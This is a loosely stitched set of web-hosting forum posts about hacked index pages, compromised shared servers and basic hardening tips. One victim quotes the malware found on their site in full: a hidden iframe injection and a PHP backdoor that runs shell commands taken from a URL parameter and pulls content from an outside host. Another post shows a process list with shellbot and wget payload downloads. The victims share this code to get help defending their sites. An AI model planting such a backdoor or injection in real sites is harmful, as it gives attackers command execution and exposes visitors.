Am suffering from a hacker every time, he changes my client’s index (index..Php).
I changed FTP log, but still, it seems doesn’t work!
My simple question: How to protect the index page from hackers?
Have a website that is making use of both index.html and index.php files as the main page. How can I achieve either through .htaccess or similar (shared hosting) to have the users directed to index.html and not load the index.php first off.
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Who know how to protect the Index files with cpanel
after uploading my site to the host, I want to type my domain and the home appears.
At the moment, typing my domian, an generic web host index page appears.
I created the subdomain for my site www.mysite/myclientpotentialdomain, with the only purpose to show my client the mock up of his home page using his potential domain name.
The file is named index.htm and consist only the mock up image.
The problem that I encountered is when I refresh the browser (Firefox) the image disappears. I can see the alt tag, but the picture is gone. Works fine in IE though.
The only difference I have noticed that after the refreshment,
i have hosted my website on dadicated windows hosting with rackspace. my webiste default page was index.aspx. now i have created new home page with name the of index.html and uploaded this page to server and deleted old home page index.aspx but my new index.html page not showing when i try to open open my website www.example.com but its opening when i try with www.example.com/index.html.
View 4 Replies View RelatedI'm working with HELM panel
I have deleted the index.htm file and uploaded another one
the first one had some images <img>, now
1. when i request the main page [url] the old index file is still appearing!
2. the images that was in the <img> tags of the old index file can't be deleted or renamed : can't be accessed at all.
One of my customer's domain name's index page is hacked with the pharmacy kind of URLs all over on the homepage. Anyone has idea about this? You can see the URL at
[url]
I am using WHMCS and need to upload an index.php per server I wish to monitor. How do I go about doing this so that I can view the page via this method
[url]
I'm using cpanel / centos
when i oppened my site i found that there was a code in the index i don't know from what but when i earsed it it returned again ...
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Here is the site. But, when I move the whole account over to my server, it doesn't show as the home page.
My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.
I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).
Going back on track, all files named "%index%" were hacked.
-I found a index.txt file with links to obscure sites.
The code was written at bottom of the all index.html files: iframe code
Code:
><!-- ~ --><iframe src="http://googletraff.com/in.cgi?default" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code
PHP Code:
<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0
");fputs($socket, "Referer: http://$refer
");fputs($socket, "Host: $server
");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
");$wr = 0;while(!feof($socket)){ $temp = fgets($socket); if(eregi("<",$temp)) { $wr = 1; } if($wr) { $page .= $temp; } } fclose($socket); return $page; } ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...
I am implementing one of my clients new sites ( the old site is written in plain html), and their new site uses ASP on every page.
The problem is that their old index.htm page has a pagerank of 4 which we want to keep.
And I have been advised that i need to do a 301 redirect to pass that PageRank onto their new index.asp page.
The other problem is that they are on a shared IIS hosting solution (with FastHosts), and obviously I don;t have total control over the server so cannot get into the root control panel.
My question is, whats the IIS alternative to .htaccess, which can be implemented on a limite-controlled IIS server?
JavaScript, I have heard is completely out the question
I recompiled apache and php due to some problems. Now apache and php is running and I have a VB forum running fine. However, one folder has a PHP page named index.php when I type its URL I get it downloaded and it is not executed directly from the server.
when I add "?" to the end of the URL[url]" it runs with no problems!
Is it something wrong with httpd.conf or what?
i did make a big message on here but it deleted when i back spaced
my website is aviation cafe dot net / sample and i need you to help me with password protecting a webpage, i wanted the address to be / the silver sword and definitly not to look like it does now.
username: webforum
pass: password
Hackers these days don't hack for money, alot of times they hack for pride and the lame fun in it.
Look at this website,
[url]
I am constantly battling hackers over the last week and I have to admit I'm not really sure what it is that is letting them in, but they're getting in... the processes all run as "apache" so clearly it's the webserver somehow.
I've changed the ssh port, have disabled cron on the apache user and have set php safe_mode on the site I think might be to blame, but still no luck.
Logged in this morning to be greeted by this...
Quote:
[root@s15247463 httpdocs]# ps -fe | grep apache
apache 2889 2220 1 Dec26 ? 00:18:36 /usr/sbin/httpd
apache 2891 2220 0 Dec26 ? 00:00:00 /usr/sbin/httpd
apache 2892 2220 0 Dec26 ? 00:00:02 /usr/sbin/httpd
apache 2893 2220 0 Dec26 ? 00:00:02 /usr/sbin/httpd
apache 2894 2220 0 Dec26 ? 00:00:00 /usr/sbin/httpd
apache 2895 2220 0 Dec26 ? 00:00:05 /usr/sbin/httpd
apache 2896 2220 0 Dec26 ? 00:00:02 /usr/sbin/httpd
apache 14664 2220 0 Dec26 ? 00:00:03 /usr/sbin/httpd
apache 32714 1 0 Dec26 ? 00:00:02 /apache/bin/httpd
apache 32719 1 0 Dec26 ? 00:00:02 /apache/bin/httpd
apache 19751 2894 0 Dec26 ? 00:00:00 [sh] <defunct>
apache 19764 1 23 Dec26 ? 03:31:35 shellbot
apache 28642 2220 0 Dec26 ? 00:00:04 /usr/sbin/httpd
apache 28662 2891 0 Dec26 ? 00:00:00 [sh] <defunct>
apache 28666 1 22 Dec26 ? 03:23:10 shellbot
apache 29532 2220 0 Dec26 ? 00:00:01 /usr/sbin/httpd
apache 29933 2220 0 Dec26 ? 00:07:18 /usr/sbin/httpd
apache 20833 2893 0 Dec26 ? 00:00:00 [sh] <defunct>
apache 20838 1 13 Dec26 ? 01:21:35 [httpds]
apache 20847 29532 0 Dec26 ? 00:00:00 [sh] <defunct>
apache 20853 1 13 Dec26 ? 01:21:33 [httpds]
apache 20870 2220 0 Dec26 ? 00:00:02 /usr/sbin/httpd
apache 20879 2892 0 Dec26 ? 00:00:00 [sh] <defunct>
apache 20884 1 13 Dec26 ? 01:21:28 [httpds]
apache 20887 2896 0 Dec26 ? 00:00:00 [sh] <defunct>
apache 20892 1 13 Dec26 ? 01:21:16 [httpds]
apache 20895 2220 0 Dec26 ? 00:00:01 /usr/sbin/httpd
apache 20896 2220 0 Dec26 ? 00:00:02 /usr/sbin/httpd
apache 20901 2220 0 Dec26 ? 00:00:02 /usr/sbin/httpd
apache 21445 2220 0 Dec26 ? 00:00:01 /usr/sbin/httpd
apache 1875 1 0 00:01 ? 00:00:00 [httpds]
apache 2237 1 0 00:14 ? 00:00:00 ./mocks start
apache 5465 20895 0 00:23 ? 00:00:00 [sh] <defunct>
apache 5477 1 6 00:23 ? 00:24:48 shellbot
apache 10110 14664 0 01:00 ? 00:00:00 [sh] <defunct>
apache 10142 1 11 01:00 ? 00:44:09 shellbot
apache 10537 2220 0 01:27 ? 00:00:01 /usr/sbin/httpd
apache 13780 1 0 02:28 ? 00:00:00 [httpds]
apache 13781 13780 0 02:28 ? 00:00:00 sh -c wget [url]
-O [url]
apache 13784 1 0 02:28 ? 00:00:00 [httpds]
apache 13785 13784 0 02:28 ? 00:00:00 sh -c wget[url]
-O [url]
apache 13788 1 0 02:28 ? 00:00:00 [httpds]
apache 13789 13788 0 02:28 ? 00:00:00 sh -c wget [url]
-O [url]
apache 13792 1 0 02:28 ? 00:00:00 [httpds]
apache 13793 13792 0 02:28 ? 00:00:00 sh -c wget [url]
-O [url]
apache 13798 13789 0 02:29 ? 00:00:00 perl test.txt
apache 13802 13781 0 02:29 ? 00:00:00 perl test.txt
apache 13806 13793 0 02:29 ? 00:00:00 perl test.txt
apache 13810 13785 0 02:29 ? 00:00:00 perl test.txt
apache 22282 2220 0 03:40 ? 00:00:00 /usr/sbin/httpd
apache 22434 20896 0 03:51 ? 00:00:00 [sh] <defunct>
apache 22442 1 10 03:51 ? 00:20:33 [httpd]
apache 22513 21445 0 03:55 ? 00:00:00 [perl] <defunct>
apache 22515 1 0 03:55 ? 00:00:00 /usr/local/apache/bin/nscan -DSSL
apache 22552 2220 0 03:58 ? 00:00:00 /usr/sbin/httpd
apache 23183 1 0 04:03 ? 00:00:48 /usr/local/apache/bin/nscan -DSSL
apache 23187 1 0 04:03 ? 00:00:47 /usr/local/apache/bin/nscan -DSSL
apache 3606 2220 0 04:52 ? 00:00:00 /usr/sbin/httpd
apache 27716 1 0 06:54 ? 00:00:00 [httpd]
apache 27720 1 0 06:54 ? 00:00:00 ./php
apache 28140 1 0 07:06 ? 00:00:00 /bin/sh ./mass 139
apache 28299 28140 0 07:12 ? 00:00:00 /bin/bash ./a 139.1
apache 28302 28299 9 07:12 ? 00:00:20 /bin/bash 139.1 22
We are rookies and we are being attacked by hackers for the second time in as many weeks. I can see them in shell right now on multiple servers. I can not remember in all the excitement how to take away their root access. How do I stop them from doing any more damage?
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View 5 Replies View RelatedTwice in about a week mabey 2 weeks my server provider has sent me spoof abuse messages on accounts on my server. These phising pages first linked to a bank then paypal, these phising pages that were placed were on 2 diffrent accounts and the accounts belong to people ive known for a very long time and they wouldnt have any idea how to do this so i know its a hacker getting in somhow.
How can I stop this from happening? Any programs that I can run on the server?
Heck even which log files do I check to see where these attacks are coming from would help as I could block the IP's .
I'm running cpanel as well if that helps, i use CSF .
I dont want to have to move servers as that would take a very long time for me.
My PR4 site has been hacked by chinese hackers.
They fortunately did not do anything exceptionally terrible, but the site was down, they altered the serps results and now my inbox ( operating from Squirelmail ) is now receiving even more spam than before.
A network expert suggested that my server would now be being used for sending spam.
And my company, who will remain nameless atm seem to claim that no server is safe from hackers under any circumstances.
I would like to copy to you the companies response to my questions and I would hope for a word or two of inspiration and encouragement from you?
The second string in each question is the server companies response.
1.Please quote me for checking to see if the server is being used for spam and blocking this from happening.
We could certainly check and see if you server is currently sending out any spam and try to identify where it is originating from. Depending on the issue a fix may be required by your developers
2.Running a check on the sites code to see if there has been any amendments to the coding on the site
We can check and see if there has been any FTP access and look at file modification dates, this would hopefully pick up and issues.
3.Making sure the server is safe and that all China ip ranges are banned.
Whilst we cannot ban all Chinese ranges as we do not know all ranges China uses we can lock FTP and SSH access to certain ranges only, you would need to provide these ranges.
4.Applying a second level of security to stop a spammer from hacking the system ( However I am sure I already have anti virus and spy ware on the server )
I’m not sure you do have any anti-virus/spyware on your server, it is certainly not something we install. I don’t really believe either of those tools would stop someone hacking the server either, Linux server don’t really get affected by that. We could run a rootkit checker which checks for backdoors and modification of the operating system files. We would also suggest making sure the scripts are secure and any web interface (admin area) logins have secure passwords and are also IP restricted.
For the work above we would charge 1 hour support at £150 per hour ex vat.
I am giving few tips on securing your server against hack attempts. You must check these inspite of other securities like firewall, rootkits detectors etc.
1. Most Important, do not disable safe_mode under php.ini. If any customer asks to disable it, turn it off on his account only, not on whole server.
As most of the time attack is done using shellc99 (phpshell) script. In case safe_mode is off on server and there are public dirs with 777 permission, he can easily hack through.
2. Compile apache with safe mode as well.
3. In cpanel under tweek settings, turn on base_dir, if someone requests to turn off, turn it off on his/her account only. As using phpshell one can easily move to main server dirs like /etc, /home.
4. Do not allow Anonymous Ftp on your server. You can turn it off from ftp config under WHM Service Configuration. If its allowed, one can easily bind port using nc tool with your server and gain root access. Always keep it disabled.
5. Make sure /tmp is secured. You can easily do that by running this command /scripts/securetmp using ssh. But do make sure, /tmp is secured. Else one can upload some kind of perl script in /tmp dir and can deface or damage all data on the few/all accounts on your server.
keeping your server secure from hack attempts.
What would you think about creating a big text file with IPs of known hackers, bots and similar "bad" creatures to keep out from our servers? Do you think it's worth it?
You can post lists of IPs if you want...
I've been on yet-another crusade this morning..and have a few questions for the..umm.."general" hosting audience.
We live in odd times. If you told me that script kiddies might be able to completely comprimise a server via php..or that spammers are now using the webserver *itself* to send spam a few years ago..I would have laughed. This is no laughing matter.
A concept of privacy comes into play..and I'm curious how many of you handle it. Joe pays me for a account..agrees to my TOS/AUP..and starts uploading files. The way I see it..we have many ways of dealing with scripts that do bad things. It seems to me, though...this may be considered "spying" on our customers.
If we have a script..say..that runs every fifteen minutes..and looks for these scripts..wouldn't that be considered spying?
Or would this be something we should just bury in our aup/tos that this might happen? I have read and agreed to quite a few of those AUP/TOS things..and I can't remember even one time even a mention that files that I upload to the server may be scanned or inspected..before allowing the file to be placved on the server.
Never..not once.
However...this may have changed. If you've ever tried to get even a simple Perl script to work on a Cpanel server...you probably understand that many safeguards are there for the sake of everybody else on the server...and may prevent you from doing what you want to do with the script(s).
At the same time..though..it seems to fly in the face of common sense that many script packages available today are inherently insecure. Chmod 777 files and directories? Even in the times we live in today and know this is a very, very bad idea?
Yet..there seem to be even more like this today than ever before.
>>I mention this from first hand expereince. One of the many magazines I get had a article detailing the trials the author was having trying to get Simple Groupware working on a vps.
yesterday..I noticed a post with a person wanting something installed on a production server. Not only was the program a beta..but..just like Simple Groupware..looked horribly insecure.
In retrospect...I can remember the very first php script I ever used. The year was 1996..and this was my first Cpanel shared account. I even remember having to add *.php to the mime types.
It installed without a hitch..and..coming from the Perl world I had spent many years in..and many hours getting those scripts to work..it seemed almost like a miracle.
It seems, as hosts, there are a few ways we can go at this.
1) Modify the ftp server so it inspects files
2) Have a program that looks for things..much like rkhunter does.
3) A front-end for all scripts..perhaps MySQL as well..that enforces rulesets..for restricted content..or resource allocations.
One of my servers which hosts 200 domains is being attacked by hacker(s). It seems any world writeable files are being replaced or modified by the linux account nobody. How can I secure this account? Is it safe to change the password? I know many processes depend on using the nobody account to run.
View 1 Replies View Relatedguys im tired off fighting those hackers everyday! i have about 20 websites,and everyday i have one of them hacked! i restore a backup then another one hacked!
thats unbelivable!!!
those bastards upload there shell scripts to websites via bugs or whatever from php files!!
is there anyway to stop these commands?
can .htaccess helps? how?
i talked to my webhosting companies for my websites! ....
two of my website on the server was changed by the hackers.How did they do it?
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